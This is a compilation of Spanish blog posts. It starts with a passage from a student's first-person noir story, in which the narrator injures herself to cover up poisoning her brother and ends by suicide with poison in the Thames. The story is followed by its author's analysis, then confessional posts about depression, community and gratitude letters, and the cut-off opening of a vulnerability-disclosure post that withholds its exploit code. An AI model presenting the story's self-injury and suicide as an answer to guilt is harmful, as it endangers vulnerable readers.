Pasaron dos días, y tuve que sacrificarme un poco por la causa, para lograr mayor credibilidad. Use mi propia fuerza para doblarme el pie, y así es esguinzarme o fracturarme. Luego, fui al médico que me diagnóstico fractura (no quería tanto dolor pero me salió mal) y volví a casa llorando. Ni bien entré, mi mamá me abrazó y se largó a llorar conmigo, mientras mi padre nos contenía a ambas. Entonces, les conté que cuando volvíamos del colegio en el auto, nos amenazaron con un arma para que nos bajemos en un semáforo y nos taparon ojos y boca a los dos. También les conté que suponía que no se habían dormido porque, de la nada, yo había aparecido en un descampado sola y con un dolor impresionante en el pie. La mala noticia era que Leonel no estaba conmigo, yo le había perdido el rastro. Apenas terminé el relato, mi padre logró reaccionar y llamó al 911 para actualizar la denuncia y decir que yo había aparecido pero mi hermano todavía no. La policía no llamó a declarar en la comisaría y yo tenía todo estudiado así que conté como cinco veces la misma historia, ni un detalle más, ni un detalle menos.

Meses después, Leonel Borg seguía desaparecida. Para mí, todo era como antes de su llegada aunque había dos diferencias. Mi mamá siempre vestía de luto llorando y yo, yo me sentía un poco culpable. De todos modos, me enfoqué en mi futuro. Cuando cumplí 18 años, me fui a vivir a Inglaterra para continuar mis estudios allí (había conseguido una beca) y dejé en mi biblioteca el diario donde confesaba todo lo de Leonel. Obviamente, no fue a propósito, sino que me lo olvidé, pero nadie se iba a fijar ya que había demasiados libros para poder encontrarlo. Aunque tenía esto bien en claro, no podía aguantar hasta que terminara el semestre, para volver a casa y quemar ese diario que era la única evidencia que existía para incriminarme. Pero el semestre no llegó a finalizar.

De vuelta en Buenos Aires, mis papás decidieron pintar y remodelar toda la casa, incluyendo mi habitación. Para lograrlo, tuvieron que mover mi biblioteca y, cuando sacaron los libros, se les ocurrió ver lo que parecía un álbum de fotos. Esto, en realidad, era mi diario. No tardaron mucho en llamarme para preguntar si sabía de su existencia (no estaba escrito a mano) y, les corté. Tenía que terminar con esta pesadilla que me atormentaba día y noche.

Eran las 3:00 de la mañana, me levanté, agarré mi bolso y me fui a las orillas del río Támesis. Cuando llegué, tomé el mismo veneno que me había sobrado de cuando maté a mi hermano, y me tiré al agua. Lo más justo era que yo terminara igual que él, viajando sin rumbo junto a la corriente del agua.

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Mi análisis:

Mi policial es un policial negro porque está escrito desde el punto de vista del culpable y no hay enigma ya que se revela al principio el delito. Entonces, se necesita encontrar e incriminar al asesino. Lo que hace interesante y entretenido a mi cuento es ver como el culpable (yo), porque está narrada en primera persona, transita todo el proceso de matar a un familiar. Se pueden observar sus sentimientos y/o pensamientos sobre el tema durante la historia.

Al igual que Tuya (policial negro), el crimen ocurre al principio y el cadáver es tirado al agua como un desecho. Se diferencia de La velocidad de la música porque este es un policial de enigma. Sus características son que está escrito desde la mirada de la “detective” (Sol). En cambio, el mío está escrito desde la mirada del delincuente. Por otro lado, el enigma/misterio y culpable se revelan en el desenlace de la novela mientras que mi relato empieza con el asesinato y luego se devela el cómo. Además, en mi policial hay un solo crimen y en La velocidad de la música dos, con sus dos culpables (el asesinato de Convertini, fotógrafo, y la desaparición de Tommy Fox junto con el atropello del ciclista).

Elegí esta foto del río Támesis como portada porque fue el último lugar que visitó la protagonista, que se parece (en cuanto al agua) a la laguna donde todo empezó. Entonces, me pareció una locación importante para utilizar como portada.

Camila Ailén Pardavila Troiano.

[verde-paisaje-al-infierno]

7 — 40 — 42 — 47 — 53 — 56 — 94.

Sabiendo que no tengo a nadie de mi vida privada en Tumblr responderé con total sinceridad pero en el orden que, creo, es el mejor. Lamento que sea tan largo, pero es la compleja y extensa realidad de lo que tal vez le pase a muchas personas. Se que al hacerme estas preguntas me conoces y espero que puedas decirme quien sos, o al menos, sacarte las dudas de todo.

56-. Nombre de tu primer amor.47-. ¿El amor verdadero existe?(Respondo estas 2 preguntas en una por la relación que existe entre ellas.)

Responder a esta pregunta estas 2 preguntas es difícil, ya que, definir “Enamorarse por primera vez” y “Creer en el amor verdadero” puede ser interpretado o, en su defecto, mal interpretado de diferentes maneras.  En primer lugar, para mi el amor verdadero sentimental no existen. Sinceramente hoy en día creo en un amor verdadero mucho mas lógico. Me refiero a que yo amo sin perder la cabeza; amo sin volverme loco pero sin perder los sentimientos. Amo sin llegar al extremo, amo de una forma mas egoísta por así decirlo, en la cual lo hago pensando muchísimo en mi, y no tanto en la otra persona. Sinceramente, me gane un amor propio a mi mismo después de tantas malas experiencias que, comprendí que aunque le haga mal a lo que amo, siempre tengo que tomar la mejor decisión para mi (Siempre teniendo en cuenta la otra persona). No comparto la forma de amar en la que te excusas que el amor todo lo puede, que el amor te hace cambiar, o debes cambiar porque estas enamorado. No comparto la forma donde haces todo por amor, como aguantar cosas que no debes aguantar si no queres; o no hacer algo para no lastimar a tu pareja; dejar de hace cosas que hacías antes de la relación o hobbies (Obviamente que existen distintos tipos de parejas y hay cosas que se hablan y se respetan antes de entrar en una relación, como la fidelidad, las cosas que uno hacia antes de la pareja, el pasado, etc.), el estar todo el día juntos como prueba de amor, entre otras cosas mas.  Todo a extremos es malo, y amar es una de esas cosas que generalmente, perdiendo la cabeza, suele llevarse a base de impulsos y eso es demasiado malo. En resumen, creo en el amor, pero a mi manera.

 En segundo lugar, no tuve muchas relaciones serias en mi vida, y las que tuve lamentablemente fueron cortas por limitaciones, prohibiciones y/o falta de experiencia. Cuando sos adolescente no tenes ni la estabilidad, ni la independencia para amar libremente. Con mal interpretaciones me refiero a esos periodos cortos de “Enamoramientos” en lo que dudas o solamente es deseo de que suceda lo llamado amor. Es mas un “Gustar” de una persona con muchas ilusiones de que las cosas duran por siempre, cosa que lamentablemente, nunca sucede así. Estos enamoramientos fueron totalmente fallidos, y muy tóxicos por lo general así que, yendo a la pregunta en cuestión, y dejando de lado estos enamoramientos (Nalu, Alison), Mi primer amor después de meditar aunque cueste admitirlo fue sin dudas, Martina. 

7-. ¿Tienes algo que decirle a alguien en estos momentos? (Cuéntalo) 

Sin dudas tengo muchísimas cosas por decir (Aunque el silencio es lo mio), pero algo que no pude nunca quitarme de la cabeza, fue el no poder despedirme bien de Martina. Es como un ciclo incompleto a medias, cerrado en contra de mi voluntad para pasar a algo mejor. Sinceramente dudo que leas esto, porque perdí todo contacto tuyo. Sin dudas te extraño, extraño tu forma de ser, tu carácter, tus idas y vueltas, tus pensamientos únicos y tu sentido de aventura. Hoy por hoy, me gustaría volverte a encontrar para seguir con las aventuras que pudimos haber hecho. Muchas experiencias las tuve con vos y muchas cosas me marcaron gracias a vos, como yo se que también te marque. Te mostré que alguien te puede querer sin nada a cambio, que el cariño existe, que alguien si se puede fijar en vos, seas como seas. Te di mi cariño para que sepas lo que es ser querida y espero que cuando estés con alguna persona, nunca pierdas ese sentimiento, o al menos nunca te rebajes a alguien que te demuestre menos. Yo cumplí mi promesa, y se que vos también vas a cumplir la tuya, estoy orgulloso de de lo que seas, o elijas.

Todo lo que tenga que decir de mas, se lo diré a las personas cuando me reencuentre con ellas. Nada mejor que decir verdades a la cara.42-. ¿La sigues amando?     El tiempo destruye todo. Ya no la amo, hoy en día amo a otra persona. Pero sabiendo como es el futuro, siempre hay sorpresas de por medio.

53-. ¿Te han mirado a los ojos de una bonita manera?Si, muchas personas lo han hecho, las tengo guardadas en mi memoria y siempre espero ver nuevas miradas. Las del pasado siempre fueron especiales, la del presente la aprecio con la vida, y las del futuro ya veremos.

40-. ¿Fingiste ser alguien más?  La mayor parte de mi vida fui alguien que no quise, fui el típico salame que daba todo a los demás esperando a que lo acepten; me hacia el fuerte; el que no le importaba nada. Tome decisiones malas para parecer una persona mala.  Hice cosas que no me arrepiento, pero sin dudas pude hacerlas mejor. No fui sincero a mucha gente, y la depresión me consumía. Solo estaba sobreviviendo como dice el tema del Cuarteto de Nos. Hoy después de años, puedo decir que pude mostrarme como soy (Aunque sigo siendo una mierda de persona). Me encanta ocultarme de la gente, me encanta ser sincero aunque le haga mal a todo el mundo por no saber como decir las cosas, soy un pibe bastante impulsivo, me gustan las cosas del pasado, aunque le tenga demasiado miedo al mismo. La soledad es mi vida entera, hace mucho tiempo que no veo a gente y sin dudas no me molesta. No me gusta llamar la atención, aunque me gusta escribir y expresarme, que opinen de lo que digo. Aprendí a amarme a golpes, aprendí a que nadie toma los consejos de nadie. Aprendí a dar los primeros pasos, a no dudar, a no arrepentirme. Amo la lealtad y soy leal si me demostras que lo vales. De los demás desconfió y oculto o miento. No cuento de mi vida a menos que me pregunten, si no demuestran interés por mi, no sabrán nada. Me gustan las causas perdidas. Me encantan los detalles y me fijo mucho en eso, tanto que stalkeo a medio mundo para tener una perspectiva de alguien. No meto las manos en el fuego por nadie. Se que soy odiado por mucha gente, y que no me extraña nadie. Acepto las cosas como son, sobrevivo independientemente, soy muy orgulloso y extremista. Si conosco a alguien trato de hacer que se ame y demostrarle lo bueno y lo malo de esa persona. Me gusta meditar las cosas, me gusta que me enseñen y hablar con gente nueva. Me gusta leer y viajar. Quiero ser olvidado al morir, y se que lo sere por eso me contradigo en muchas cosas, lo se,soy humano y trato de no arrepentirme. Se que trato de ocultarme pero en parte quiero que me conozcan, soy la viva contradicción como la mayoría. Esto es un pedazo de lo que soy.94-. ¿Cómo te sientes ahora? Me siento espectacular, se que valgo mucho, que si no quieren estar conmigo ellos se lo pierden. Aprendí a amarme solo, ya que lamentablemente, ni tu familia, ni tus amigos, ni tu pareja va a enseñarte eso. Es como un taboo mostrarte lo que sos. Por eso estoy orgulloso de mi, por las cosas malas y buenas que hice y di. Se a donde quiero ir, quien soy y de donde vengo. Tengo la voluntad y la capacidad para hacer todo por mi mismo y no hay nada mas satisfactorio que saber que vas a lograr la mayoría de las cosas sin la ayuda de nadie.Si leíste todo y queres saber mas, significa que estas interesado en mi, asi que si queres tener una charla, háblame.

[michaelratamarina-blog]

Jueves 28 de Diciembre 2017 Cabello castaño obscuro Ojos cafés Camisa rosa claro Pantalones azules Zapatos negros con blanco (Rotos) Cara: Hoy fue un día excelente, casi perfecto Dia; El día empezaba a las 7 me levanté y lo primero que escuche es que un tío mío había muerto, no era muy cercano a mi, es lindo escuchar la paz de la calle a las 7 de la mañana, sólo un señor barriendo la calle, me levanté y me lave los dientes, casualmente salió mucha sangre, me lave aún más y tome enjuague bucal, cante demasiado mientras lo hacía. Fuimos a desayunar tacos de birria, regresamos, hice mi cama y buscaba agua para bañarme pero nunca callo, me cambié, juegue skyrim un rato hasta las 2. Mi abuela y mi tío se fueron a Veracruz Orizaba donde estaba mi tío fallecido, mamá y yo nos quedamos. Salí a pasear con Chimi y se me quitaron los nervios de volver a ver a Zay, me desahogue demasiado con Chimi de posible preguntas. Llego la hora de ver a Zay, llego tocó el timbre y entró, saludo a mamá y nos fuimos, Que cambio de Zay, cabello liso, Una actitud nueva, más "Da igual" y vaya forma de sacarme todo. Me contó absolutamente todo lo que sucedió tras mi partida de mi "Mundo" con Mónica. Lo primero a destacar Un error mío, Jamás tuve toda la atención de ella, la tuvo su ex, su ex con el que tuvo sexo también, si, se acostó con dos en mi turno, eso si ya da asco 😒😖. Me extraña, Mónica me extraña, pero aunque sea mutuo el sentimiento, Jamás volvería a estar con ella, fue una relación falsa. Y una ultima cosa, FUI, SOY Y SERÉ LO MEJOR QUE LE HAYA PASADO EN LA VIDA. Obviamente también hubo explicaciones mías de cosas del pasado como Mis ex mejores amigos y sus traiciones correspondientes, lo admito, me dolieron las preguntas una que otra pero era necesario. Me encantó que fuera sincera y me contará la verdad, Compramos una pizza y caminamos demasiado, me contó cosas que me hizo enojar porque esos eran mis planes con ella; no podía mencionar algo nuevo porque Mónica lo sabía, Sabía lo de Vane, Sabía absolutamente todo y eso me hace gritar porque no puedo hacelo por mi cuenta, no se como mierda lo hace, sólo sabe y lo se porque Zahiled lo sabe también. Un pacto de caballeros nunca está de más y le dije que nada saliera de entre ella y yo, no promesas, no jurar, sólo hacerlo. Ambos coincidimos en un cambio de Mónica, un cambio malo. ¿Era necesario tu estúpido cambio? Zay también está a nada de salir de ese lugar después de 4 años con ella y es jodido porque 4 años, quedamos de vernos lo más pronto posible claro en enero 2018 para hablar más, nos faltó tiempo para tocar todos los temas. Intenté un tema que no saben, cáncer, vaya sorpresa que se llevó pero era necesario decirle. Pensamientos: Así que, me extrañas, me tienes lo suficientemente vigilado, perfecto, me gusta tu atención, veremos que va a pasar contigo en 2018, Mónica. Sentimientos: Confianza, Decepción, Frustración Canción del día: they no need to understand ♥

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¡Rêve está de cumpleaños! Muchísimas felicidades por cumplir un añito como la mejor comunidad de la vida en los corazones de muchas personas. Ha sido difícil, ¿verdad? Porque nadie dijo que mantener un lugar estable era fácil, porque controlar 40 o 50 pollitos para tres granjeritos torpes, honestos y de buen corazón no es fácil. No falta el polluelo que sale de la granja, o el que regresa, el que da vueltas por ahí a lo tonto, el que se la lleva pegado a su granjero, el positivo, el que de pensamientos suicidas, el alegre... Todos los pollitos son diferentes entre ellos y aun más con los granjeros. Llevar una granja no es nada fácil, pero los tres granjeros se aventuraron, una vez más o por segunda o primera vez, a intentar levantar una y la más preciosa de todas, la más cálida, la más acogedora. Como esa casa a la que una persona entra y huele a galletitas recién horneadas y a flores, donde la sala de estar está repleta de reconocimientos, por mínimos que sean, de los hojos, esa casa que es la más tibia de todas incluso en invierno, incluso con la chimenea apagada.

Una comunidad no es nada sin los miembros, ustedes nos lo han hecho saber estos días (y siempre) con sus detallitos y sorpresas (y todo el trabajo que hacen en general), y ahora es su turno. Porque en realidad nosotros no seríamos nada ni nadie sin ustedes. A veces no me explico como los tres trabajan tan bien, es hasta gracioso, porque son todos diferentes pero eso es lo que los complementa. Me encanta saber que se tienen esa confianza y cariño, porque desde ahí se nota el amor que le tienen a la comunidad en general. Me da risa cuando suben capturas a petit sobre cómo terminaron sacando a Jinki del chat, después de todo, sí es la mascota entre ustedes. Me da tristeza saber que tienen malos momentos, mucha, y sobre todo cuando somos nosotros quienes lo ocasionamos, tal vez no les conozca tan bien, tal vez no hablemos tan a menudo o solo preguntas administrativas, pero si yo pudiera tomarlos y protegerlos a los tres de todos los males, lo haría sin dudar. Y estoy segura, no soy la única que lo piensa así.

No sé cómo continuar, cómo expresarme. Pero en verdad y de todo corazón, estoy muy agradecida por estar aquí, por haber sido invitada, por haber sido tomada entre los brazos de esta hermosa familia. Recuerdo que, cuando me estaba haciendo cercana a Hunchul, me dijo "deberías venir a rêve, quedarías bien" y yo lo tomé como algo bueno bc rêve es mi crush, y luego morí y seguí muriendo hasta que en enero por fin, tuve una cuenta decente y pude buscar a mis amigos perdidos, entre ellos él y todavía tuve que ver si era quien era mi amigo y uf, un caos. Al final resultó que obviamente sí era y me incitó a rêve. JAOSKSL me da risa porque ese mismo día entré, ¿saben lo que es eso? ¡Es el destino! Recuerdo que me quedé sin internet y tuve que hacerlo con los datos del móvil y estaba preguntándole a Hunchul unas cosas y skdnsk me hice un lío, estaba toda nerviosa. Pero el destino habló y logré quedar a mi primer intento... uffff, estuve con los nervios de punta hasta que recibí el mensaje que estaba dentro. Cuando empezaron a meterme a los grupos, recibí millones de saludos (q_q) por lo general, no recibo muchos porque weno omg es irrelevante y así de malita es la gente al solo dar bienvenidas a sus conocidos-nuevosconcaritasrelevantes. No me lo esperaba en verdad, así que yO SOLA ME PRESENTÉ. Sí, yo me presenté solita. Pero es verdad que fue por iniciativa propia, me dieron el coraje de presentarme frente a todos aunque moría de vergüenza. Fue una presentación breve, ni siquiera tenía gif o una foto al menos llamativa. Pero dije qué me gustaba, qué no, que era disléxica, que me encanta usar caritas y stickers... fue lindo. Al final me bloquearon la cuenta por hacer spAM JAJAJAJAJAJALJDLD. Pero fue lindito porque tenía esta de respaldo y regresé al otro día bc mientras dormía como bebé feliz por tener un hogar, me la desactivarob(?). Poco a poco me fui integrando, no podría dar fecha exacta, fue lento, pero seguro como todo aquí. Los juegos, joderle a alguien por publicación, los ask de los sábados, el mujeres vs hombres, las actividades off... Todas y cada una de esas cosas, más otras no mencionadas, me terminaron uniendo a la comunidad. Sí, es verdad. No soy la miembro más activa, ni la más sociable, tampoco la más amable o cualquier cosa. Honestamente, ni siquiera hablo ni con la mitad de los miembros. Pero estoy segura he cruzado la palabra al menos con más de la mitad. Quizás... 3/4 de la población o menos. El punto es que, aunque no hable mas que con máximo 5 (y me estoy arriesgando sksma), todos somos parte de lo mismo y por eso creo que estamos unidos. Ademaaaás, en realidad somos bastante unidos entre todos. Si no lo creen, solo miren todo esto. Esto se logró porque los miembros se unieron por y para rêve, porque lo vale y porque ustedes son un amor.

Finalmente, como se debe me gustaría decirles algo a cada uno en especial.

Para Suzy, tú eres la primera razón por la que estamos todos aquí. Rêve no se creó solo, esa vez en las preguntas nos dimos cuenta. Rêve ha pasado por mucho, así como tú. No me imagino lo cansado que ha sido para ti, lo estresante que pudo haber sido. Errores pasados que te dejaron marcada o a la comunidad, discusiones que también los afectaron. Muchas gracias por seguir adelante todo este tiempo a pesar de todo, por aferrarte a rêve y re abrirlo una vez más. No sé de quién haya sido ka idea, pero todos tomaron la iniciativa y Rêve volvió. En verdad muchas gracias, tengo en mente siempre una vez que mencionaste que rêve era una cura contra la depresión, y es verdad. Por favor, debes estar orgullosa de tu trabajo, porque crear una comunidad, un hogar cálido contra la depresión es algo maravilloso. Ojalá en el futuro, podamos hablar fuera de algo administrativo y ser cercanas. Solo una buena persona puede crear un buen hogar. Insisto, muchas gracias por el lugar, soy muy feliz aquí.

Para Jinki, considero que somos cercanos, a pesar de no serlo mucho, siempre te voy a tener en la mira bc fan(?), y honestamente me preocupo porque te conozco de hace tiempo aunque no hablaramos en aquel entonces. Estoy super feliz de saber que estás bien, que encontraste a una maravillosa persona con la cual estar, ya era hora. Con el tiempo seguro nos hacemos amigos porque si no quieres igual voy a forzar la amistad(?). Jinki, en serio, eres una muy buena persona. Que nadie te diga lo contrario, nunca en la vida. Como le dije a Suzy, solo una buena persona crea un buen lugar, y si bien Reptar es básicamente la sagrada madre(?), este rêve no se levantó solo. Ayudaste, y sigues ayudando. Espero, en el futuro, sigas ayudando porque no veo un rêve sin alguno de ustedes tres. Son ustedes tres juntos, quienes hacen la magia, quienes hacen funcionar las cosas.

Último, pero no menos importante, para Hunchul, que es un pedazo de kk que siempre me trata mal. Hunchul, honestamente, no se puede negar que contigo estoy agradecida de más. Pero eso es porque comparto un lazo contigo más fuerte que con los demás. Te he dicho infinitas veces que te quiero, que te adoro y que te amo, no hace falta decirlo más o decirte muchas cosas. Aunque te la vivas humillabdome como si yo solita no me humillara lo suficiente(?). Eres un tsundere, también. Yo sé que solamente cuando te nace dices cosas libdas y eso solo lo hace más especial. Muchas gracias por eso y por todo. Por traerme aquí, por escuchar mis berrinches, por controlar mi paranoia, por ser cálido conmigo, por no presentarme cuando entré aveda kreist kto2 ceria vuemo maifren t engañe!!!! Errs también una buena persona, no hace falta que digas que no. Gracias por siempre estar disponible para mis preguntas, no sé, insisto, por todo.

A los tres, de corazón gracias. Valoro mucho todo lo que hacen, lo que no, los cambios que hacen, actividades, juegos, las películas, las temáticas, que sean tan abiertos, que sean honestos. En verdad les tenfo mucho aprecio.

Con suerte y en el futuro, nos volveremos cercanos seguro.

Felicidades y muchas gracias <3

[zanssi]

06A: estrellas.

Hola. Quiero comenzar diciendo que no soy buena comenzando estas cosas. Si bien tengo bastante práctica en la escritura, y me considero buena en lo que hago, nunca le escribí una carta a alguien más que no fuera cierta amiga en específico. Hacer esto por alguien más de alguna forma se siente raro. Pero quiero (y necesito) hacerlo. Desde aquel día, siento en mi garganta el nudo de palabras que nunca pude decir. Necesito agradecerte, solo que no puedo hacerlo cara a cara. Las piernas me temblarían como un papel ante el viento, y mis palabras se mezclarían con mis pensamientos. El nudo de mi garganta se pasaría a mí lengua, juntaré ideas que no tienen nada relacionado entre sí, causando finalmente que nada de lo que quiero decir sea realmente expresado como se debe. La escritura es fácil. Tan solo un teclado, la pantalla, mis pensamientos y yo. Así es sencillo.

Quisiera contarte mi historia desde el principio, pero te aburrirías y probablemente no quieras leerla. Así que resumiré hasta mis últimos momentos en un mismo párrafo; odié con todas mis fuerzas los primeros 12 años de mi vida.

Entorno tóxico de manera familiar, amigos que no hacían nada más que destruirme por dentro, soledad, lágrimas nocturnas y un inexplicable sentimiento de vacío. Esa soy yo. Corrección: era yo.

Gracias. No me conoces ni tienes idea de por todo lo que pasé, pero gracias.

Gracias por subir a ese escenario aunque nadie te obligó a hacerlo. Gracias por mantenerte ahí encima de pie, aunque algunas personas se reían de tus metáforas de fondo, o hasta de cómo ibas vestida, cómo eras, tu cabello, o lo que fuera.

Gracias por ser la única persona que realmente marcó un antes y un después en mi vida. Mis más sinceras y agradecidas gracias.

Parezco exagerada, pero es la verdad. Escribí algo hace poco, y más bien todo esto es una introducción a lo que será lo siguiente.

Aquí te dejo lo que algún día hice para ti. Espero que te guste, porque es lo que más espero.

“me gustan las estrellas. ¿alguna vez viste una? espera. antes de que me respondas, quiero explicarte de qué tipo de estrellas te hablo. porque no, no son las del cielo. son otras. otras que probablemente no ves.

una vez, en mi colegio, una mujer subió al escenario. esa chica de tierno nombre y de la cual no recuerdo perfectamente su rostro, me cambió la vida.

sé que tiene cabellos castaños, y que en ese momento poseía una ropa colorida. no de era mi estilo, pero me pareció bonita de todas formas.

ella leía agachada, de una forma muy curiosa en el suelo, el cuaderno en el que había una historia que había escrito. con una de sus manos sostenía el micrófono, y con la otra iba pasando de página a página a medida leía más párrafos.

se veía como una mujer interesante. como esas por las que darías todo por tan solo seguir hablando un minuto más, dejando pasar todos los transportes posibles aunque sea el último del día.

me sorprendía el cómo detrás de mí había gente burlándose de ella por lo que leía, por sus comparaciones locas, por su forma de vestir o de hablar, por su cabello, o hasta por la nerviosa forma en la que dio vueltas por el escenario durante diez minutos, hasta dejar el cuaderno en el suelo y seguir leyendo, con la mano más temblorosa que un papel ante el viento. pero esa mujer tenía todavía más valentía que todos los que estábamos debajo escuchándola. seguramente nadie de los que estaba allí se atrevería a hacer lo mismo que ella hizo.

ella nos comparó a todos con estrellas. algunas más brillantes, otras más tenues, otras grandes y algunas tan pequeñitas que hacía falta una lupa para verlas. pero comenzó a hablar de la suya. de su propia estrella. de que en algún momento ella fue una estrella. ¡no! ella aún lo es, pero tuvo un problema.

alguna vez tuvo una mancha, la cual ocultaba con sutilidad, pero que pronto, avanzaría cada vez más, y aquel astro tan brillante, poco a poco se teñiría de negro. ese color iba avanzando más y más, hasta que un día, la oscuridad la llenaría por completo. pero siempre hay héroes en las historias así. o más bien en su mayoría. los sobrantes no están aquí para contar su historia.

su salvador no fue uno, ni dos, sino tres. tres estrellitas. tres de las que no comentó mucho, pero recalcó múltiples veces que habían sido su salvación.

creyéndome la persona más solitaria del mundo, sentí envidia por un segundo de que ella pudiera tener a ese tercio mágico, mientras que yo estaba varada en medio de la nada, preguntándome si realmente había algo que pudiera hacer para sentirme mejor.

el contacto físico se había vuelto algo desagradable, y cada vez me marchitaba más y más. habían noches hasta en las que veía mis pétalos caer. era desesperante. nada de lo que dijera o hiciese cambiaba mi situación ni un poco ni por completo. estaba volviendo a aquellos momentos que desde lo más profundo de mi corazón lloraba por olvidar. había odiado esa época de mi vida con tanta fuerza e intensidad, que el hecho de que volvieran me daban ganas de tomar medidas desesperadas. ¿pero realmente había alguna que podía tomar? ni siquiera tenía una idea de qué caminos podía seguir.

apreté mis puños con fuerza, todavía escuchando a esa mujer hablar. ya no quería oírla. ya no quería escucharla hablar con esa alegría que yo había perdido sin razón aparente. necesitaba que todo se detuviera por tan solo un segundo, para poder volver a respirar.

caían. gotas de agua caían como lluvia fría de invierno por mis ojos. se deslizaban por mis mejillas, y cuando quise notarlo, ya la primera tocó el suelo. viniendo luego de ella otra, y otra, y otra, y entonces, cuando menos lo esperaba, tomé su mano y la apreté con fuerza. ¡no quise! ¡juro que no quise! apreté la mano de mi estrella con fuerza, y ella me miró confundida, no entendiendo nada de lo que estaba sucediendo. preguntó qué me pasaba, pero mi garganta ahora estaba seca y mis ojos parecían una tubería averiada que no paraba de expulsar agua estancada.

“qué tierna” dijo, y me abrazó del hombro, dándome suaves palabras de ánimo y una muestra de cariño, que para mí sorpresa, no me desagradó.

mi llanto se hizo más notable mientras la chica seguía hablando. todo aquello que alguna vez había guardado, ahora estaba saliendo a la luz, como si ese fuera el momento adecuado para hacerlo, cuando obviamente no lo era. mi orgullo no me permitía llorar delante de tantas personas. y como si en realidad yo fuera el centro de atención del gimnasio, sentí como si todos me estuvieran mirando.

el segundo astro llegó. cabello castaño y ondulado, junto a cierto rubor notorio que siempre lleva por donde sea que pase. camina dando salitos y es probablemente la persona más hermosa del universo.

vino preocupada. hasta por un segundo sentí culpa de haberla hecho sentir de esa manera. me abrazó suavemente por el hombro y me dijo palabras tranquilizadoras, las cuales lamentablemente no sirvieron. estaba tan mal y tan destrozada que nada, pero nada, funcionaba. tan solo quería parar el tiempo para cortar mi llanto de una vez.

la segunda estrella se sentó a mis espaldas y se mantuvo allí hasta que llegó otra.

una más. una estrella verde se acercó. cabello largo y rasgos de belleza notorios por donde busques. esa chica es un ángel. su magnífico rostro y cuerpo la delatan.

se sentó a mi lado y me dio una suave palmada en los hombros, la cual en mi vida nunca podré olvidar. ella estuvo en silencio toda la noche, estando tan solo a mi lado. ella siempre supo que lo único que quería era silencio y cariño reconciliador hasta que olvidara mi propio nombre.

cuarta estrella. soltaba un aura azul o celeste. mi cabeza no lo diferencia muy bien aún. venía con dos coletas y vestida casi como chico. se veía preciosa. y si hay una palabra que exprese belleza de mayor manera, pues es esa.

siendo totalmente poco disimulada, se acercó, abrazó mi cintura por detrás y me abrazó con tanta fuerza que por un segundo me olvidé de respirar. ese tipo de abrazos son los mejores del mundo. esa chica da los mejores abrazos del mundo.

la quinta vino casi pegada a la cuarta. siempre están en pares. su personalidad es muy parecida y eso es lo que hace que probablemente haya tanta química entre ellas.

la quinta siempre fue fría. sacarle un “te quiero” costaba millonadas, y una muestra de cariño era como pedir lo imposible.

pero ella estuvo allí, y su presencia fue probablemente la más notoria de todas.

salteándome detalles, ella esa noche me dio un beso en la mejilla, su propia boca formuló un “te amo”, recibí un suave abrazo y se fue. nunca nadie me había dicho algo tan sincero en toda mi vida. ella sin dudas es mi estrella favorita, a pesar de que esté tan loca como ella suele decir.

cuando las luces se encendieron, me paré con tanta rapidez, escondiendo mi rostro de conocidos, y aunque no veía nada porque no tenía las gafas puestas, corrí en una dirección. sabía que era allí. y lo era. porque ella estaba ahí.

estrella de color rojo y personalidad brillante. tan pronto como corrí hacia ella y me refugié en sus brazos, me tomó con muchísima fuerza. y tal como la tercera, no dijo nunca nada. tan solo estuvo allí. allí solo para mí.

no sé en qué momento ni por qué, pero la música comenzó a agobiarme y la cantidad inmensa de gente era molesta. salí corriendo. corrí tan lejos como pude. salí del gimnasio, fui a los baños y me encerré en el primer cubículo que tuve frente.

no podía creer que todavía tenía lágrimas para soltar.

ahora todo era silencio. yo, llorando con todas mis fuerzas, sollozando, con las manos temblando porque hacía frío aunque llevara los guantes de mi mejor amigo puestos. y yo, llorando, porque necesitaba compañía otra vez, cuando yo misma había huído de ella.

llegaron. llegaron a los gritos y a las risas, diciendo tonterías para que saliera de allí adentro, ¡hasta una se metió por el pequeño espacio que había entre la puerta del baño y el suelo! mis estrellas. eran ellas. todas ellas junto a mí, como si realmente supieran que las estaba buscando.

esa chica, esa chica castaña, la del escenario, gracias.

gracias por hacer esto.

gracias por ayudarme a liberar mis penas.

gracias por enseñarme que quizás no estaba tan sola como parecía.

gracias por enseñarme a quererme un poco más.

gracias por mostrarme que cada herida se puede sanar, y que siempre voy a tener las estrellas suficientes para arreglarla.

¡gracias! sin ti, no sé cómo estaría viviendo ahora, con toda esa pena aguantada, y con la soledad más grande del mundo.

gracias por mostrarme que no solo se preocuparon por mí mis cercanos, sino gente que nunca antes me había hablado.

no creí que les interesaría a gente tan secundaria en mi vida, siendo tan...yo.

gracias por mostrarme que tengo que apreciarlos a todos, amarlos y quererlos. gracias por mostrarme que hay más gente que la que se oculta.

y si existe una palabra todavía mejor que gracias, te la dedico. te la mereces y de sobra.

a muchos les emocionó tu historia. a muchos les dio igual. muchos también prestaron atención y fueron atentos a pesar de todo. y hay algunos, como yo, a los que les tocó el corazón. este porcentaje te lo agradece. haz hecho mucho por nosotros sin saberlo. nos volviste a todos más unidos de lo que alguna vez fuimos.

y por favor, se la estrella de todos a los que se te presente la oportunidad. todos ellos querrían a alguien como tu.

espera mucho que un intento de lo que sea esto te haya gustado, una pequeña estrella que ahora es feliz y tiene una idea más clara de lo que quiere ser en su vida: feliz.”

[tonimartz]

#DISCLAIMER Antes de empezar quiero dejar claro que me intente poner en contacto en 3 ocasiones con la empresa afectada, en dos de ellas por email pregunte por su departamento de seguridad y solo me facilitaban información comercial, intenté contactar con ellos también por twitter, sin ningún resultado. Ahora mi responsabilidad como researcher solo me deja dos posibles soluciones (if/else), publicarlo (mentalidad hacker) o dejarlo y que otro lo explote sin que se conozca (pensamiento de pirata informático). Como mi intención nunca será la de hacer daño a la empresa o su imagen por la “seguridad de su producto” intentaré pixelar todo lo que pueda para que solo reconozca el producto aquel que ya lo haya comprado o se disponga a ello. Gran parte de esta investigación se ha realizado en el lugar donde trabajo, por lo que estoy agradecido de que se me haya dado esa oportunidad (developer). No expondré código alguno del exploit, primero no me pertenece (al haberlo echo en horario laboral) y segundo, no creo que sea ético dar las llaves de las cerraduras a la gente, si lo que queremos es mejorar la seguridad de las personas. Por último quiero dejar claro que tampoco pretende ser una guía de como entrar a robar a un sitio, ni mucho menos, la única intención de este artículo es precisamente lo contrario, demostrar que tenemos que buscar los consumidores a la hora de buscar un producto de estas características. Dicho todo esto comenzamos con la entrada   #WELCOME Buenos días amigos de los Oryctolagus, lo que os traigo hoy no es mas que el estudio de las vulnerabilidades encontradas en un producto comercial y que están aún vigentes debido a la dejadez o falta de interés del fabricante 